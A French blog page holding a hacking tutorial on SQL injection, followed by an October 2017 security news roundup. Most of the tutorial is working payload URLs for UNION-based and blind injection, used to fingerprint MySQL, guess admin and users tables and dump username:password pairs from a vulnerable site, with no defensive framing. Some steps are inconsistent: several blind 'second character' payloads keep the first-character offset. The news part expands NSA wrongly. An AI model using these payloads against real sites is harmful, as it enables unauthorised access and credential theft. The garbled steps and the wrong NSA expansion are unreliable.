mercredi 25 octobre 2017

[Tuto] Exploitation des injections SQL basiques

*** Sommaire ***

__________
Chapitre I)
__________

0) Description : Qu'es-qu'une injection SQL
1) Comment reconnaître qu'un site est vulnérable aux injections SQL
2) Trouver le nombre de colonnes
3) Utiliser la fonction UNION
4) Trouver la version du MySQL
5) Trouver les noms des colonnes et des tables et dumper les données

__________
Chapitre II)
__________

1) Description : Qu'es-qu'une injection SQL aveugle
2) Comment reconnaître qu'un site est vulnérable aux injections SQL aveugles
3) Trouver la version du MySQL
4) Tester si la sélection marche
5) Trouver les noms des colonnes et des tables et dumper les données


-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

>> Allons y...

__________
Chapitre I)
__________

0) Description : Qu'es-qu'une injection SQL


Le SQL INJECTION est l'une des communes les plus vulnérables dans les applications web de 
nos jours.
Il permet d'exécuter la requête dans la base de données et d'avoir grace a l'url a certains 
renseignements confidentiels et bien d'autres...

=============> 

1) Comment reconnaitre qu'un site est vulnérable a un SQL ?

Commencons ce tuto en force !
Prénons un exemple d'un site par exemple:

http://www.site-exemple.com/news.php?id=9
Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons
un ' ( quote ) et donc l'exemple deviendra :
http://www.site-exemple.com/news.php?id=9' <= quote ajouter !

Maintenant, si vous appercevez une erreur du genre:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right etc..."

Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^

=============> 

2) Trouver le nombre de columns.

Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un 
résultat.

Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce 
que nous obtenons une erreur comme dans l'exemple ci-dessous:

http://www.site-exemple.com/news.php?id=9 order by 1/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 2/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 3/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 4/* <-- error (une erreur du genre: 
Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera)
 
Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4.

=============> 

3) Utiliser la fonction UNION.

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un 
seul SQL a la fois.
Donc nous aurons:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/* (nous avons deja trouver 
que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). )

si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 alors l'union a 
fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par -- 

=============> 

4) Trouver la version du MySQL.
Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour 
cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type...

alors l'exemple sera:
http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/*
Bingo , la version du MySQL est devant vos yeux :)

=============> 

5) Trouver les noms des columns et tables et l'exploitation.

Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de 
table commun pour cette version sont: user/s , admin/s , member/s .........
pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd ....

Passons a son exploitation:

Cherchons la table d'admin:

http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/*
Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table 
d'admin et qu'il existe...

Cherchons les noms des columns:

http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/* (si 
vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou 
superadmin etc alors c'est bon...

Maintenant pour la column de mot de passe,

http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/* 
(si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie 
en fonction de la base de donnée

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex 
pour la colonne.

http://www.site-exemple.com/news.php?id=
9 union all select 1,concat(username,0x3a,password),3 from admin/*

Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash..

=============> 
=============> 

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION.
Le blind se définit comme le sql normal sauf qu'il est un peu plus dure....

=============> 

2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?

Prenons un exemple de:
http://www.site-exemple.com/news.php?id=9

Quand on ouvre la page , nous voyons des articles, images ou autres...
Vous pouvez donc tester le blind :

http://www.site-exemple.com/news.php?id=9 and 1=1 <--- ceci est toujours vrai !
Si la page se charge normalement , c'est bon.

http://www.site-exemple.com/news.php?id=9 and 1=2 <--- ceci est faux
Donc si quelques textes ou images ou un truc est oublié ou déformer, alors ce site est 
exploitable par le blind SQL.

=============> 

3) Trouver la version du MySQL.

Pour avoir la version dans le blind, nous utiliserons le " substring ".

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4
Si la page s'affiche normalement, alors c'est une version 4.

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5
Si la page s'affiche normalement, alors c'est une version 5.

=============> 

4) Tester si la sélection marche.

Quand le select ne marche pas, nous utiliserons donc le subselect.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1)=1

si la page se charge normalement, alors le subselect marche.
et si nous voulons voir si nous avons l'access au mysql.user , on fait:

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1
Si la page se charge normalement, alors nous avons access au mysql.user et nous pourons 
avoir quelques mot de passe en utilisant la fonction load_file() et OUTFILE.

=============> 

5) Trouver les noms des colomns et tables et l'exploitation.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1
Si la page se charge normalement sans erreur alors la table users existe.
Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a 
vous de devinez :D c'est un bon jeu hein...

disons que nous avons trouver la table.. maintenant nous avons besoin du nom de la colonne..
tout comme cela du nom de table, nous commencons la devinette !!

http://www.site.com/news.php?id=
5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
Si la page se charge normalement, alors le nom de la colonne est password.

Ainsi , nous avons la table et la colonne , exploitons :)

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Nous continuons a changer le " 80 " jusqu'a trouver une erreur, suivez bien l'exemple:

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
Nous avons eu une fois de plus un chargement normal.. on continue
http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
Pareille, continuons

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
ERREURRR !!! donc le premier caractère dans username est char(99) si vous convertisser cela en ascii nous avons la lettre " c " .

Maintenant cherchons le second caractère:
http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Noter que je change ,1,1 a ,2,1 pour avoir le second caractère

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
La page se charge normalement

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
ERREUR nombre inférieur..

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
Chargement normal , élevé.

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
ERREUR

donc nous savons des a présent que le deuxieme caractère est char(105) et que c'est 'i' , 
cela fera "ci" jusqu'a présent...
Faite cela en mode croissant jusqu'a ce que vous obtenez la fin. (si< 0 retourne faux, nous 
avons atteint la fin alors).

-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

Nous voici a la fin de ce tutoriel.
Il existent pleins d'outils permettant d'automatiser entièrement l'exploitation des 
injections SQL mais 
apprenez tout de même a le faire manuellement, c'est important pour y voir plus claire.

J'espère que ce tutoriel vous a été utile.

mardi 10 octobre 2017

Actu Sécu

 
[Fuite de données] Equifax a annoncé la fin des investigations numériques concernant l’incident de sécurité révélé le 7 septembre 2017. Le nombre d’utilisateurs américains impactés par la fuite de données a augmenté de 2,5 millions pour un total de 145,5 millions. Environ 8 000 clients canadiens ont également été impactés. Le nombre de clients britanniques impactés n’a pas encore été révélé.

Après avoir acquis Yahoo, Verizon a procédé à des investigations supplémentaires concernant les différentes fuites de données subies par l’entreprise. Le nombre total de comptes email Yahoo impactés par la fuite de données révélée en 2013 atteint les 3 milliards. En plus de cet incident, 700 millions de comptes ont été compromis dans des incidents du même type survenus en 2014 et 2015.

Disqus, un service web de discussions et de commentaires centralisés, a été alerté qu’une sauvegarde de leur base de données utilisateurs datant de 2012 était exposée sur Internet. Les données concernées comprenaient principalement des adresses email et des noms d’utilisateurs en clair tandis que les mots de passe étaient stockés de manière sécurisée, hashés via SHA1 avec un sel. L’incident est toujours en cours d’investigation.

[Malware] La dernière analyse du malware injecté dans le logiciel CCleaner a démontré que le code de certaines fonctions a été partagé avec d’autres outils utilisés par un groupe d’attaquants chinois.

Un chercheur en sécurité a découvert dans l’application Uber sur iOS l’utilisation d’une fonctionnalité permettant d’enregistrer le contenu affiché sur l’écran des smartphones. Apple a permis à Uber d’utiliser un accès non documenté permettant d’écrire mais aussi de lire dans la mémoire contenant les pixels et les données affichés (framebuffer). Un logiciel malveillant pourrait utiliser cet accès spécial comme fonctionnalité permettant d’enregistrer les frappes clavier.

Lors de la conférence Virus Bulletin, un chercheur a prouvé la possibilité de cibler le BIOS d’une machine avec une mise à jour malveillante depuis un document Office embarquant une charge utile en PowerShell.

Une campagne de spams malveillante a utilisé des fichiers HTML compilés pour télécharger et installer un cheval de Troie bancaire brésilien. Les emails reçus prétendent venir de WhatsApp et contenir un historique de conversation. Les fichiers CHM sont principalement utilisés pour la documentation. Dans ce cas, le fichier d’aide pour IPv4 a été modifié pour lancer une commande PowerShell lors de l’ouverture du document.


Compromission

Même si cet événement n’a pas encore été tiré au clair, l’antivirus Kaspersky semble avoir été exploité par des attaquants liés au gouvernement russe pour voler des données sensibles de la NSA (National Secret Agency).
Les données ont été sorties de la NSA et stockées sur l’ordinateur personnel d’un consultant qui possédait l’antivirus Kaspersky. La fuite de données aurait eu lieu en 2015 et a été découverte au début de l’année 2016.
Il n’y a, pour le moment, aucune preuve que Kaspersky ait aidé les attaquants pour voler ces données. Une vulnérabilité dans l’antivirus ou dans le réseau de Kaspersky aurait pu également être utilisée pour exécuter à distance du code malveillant. Source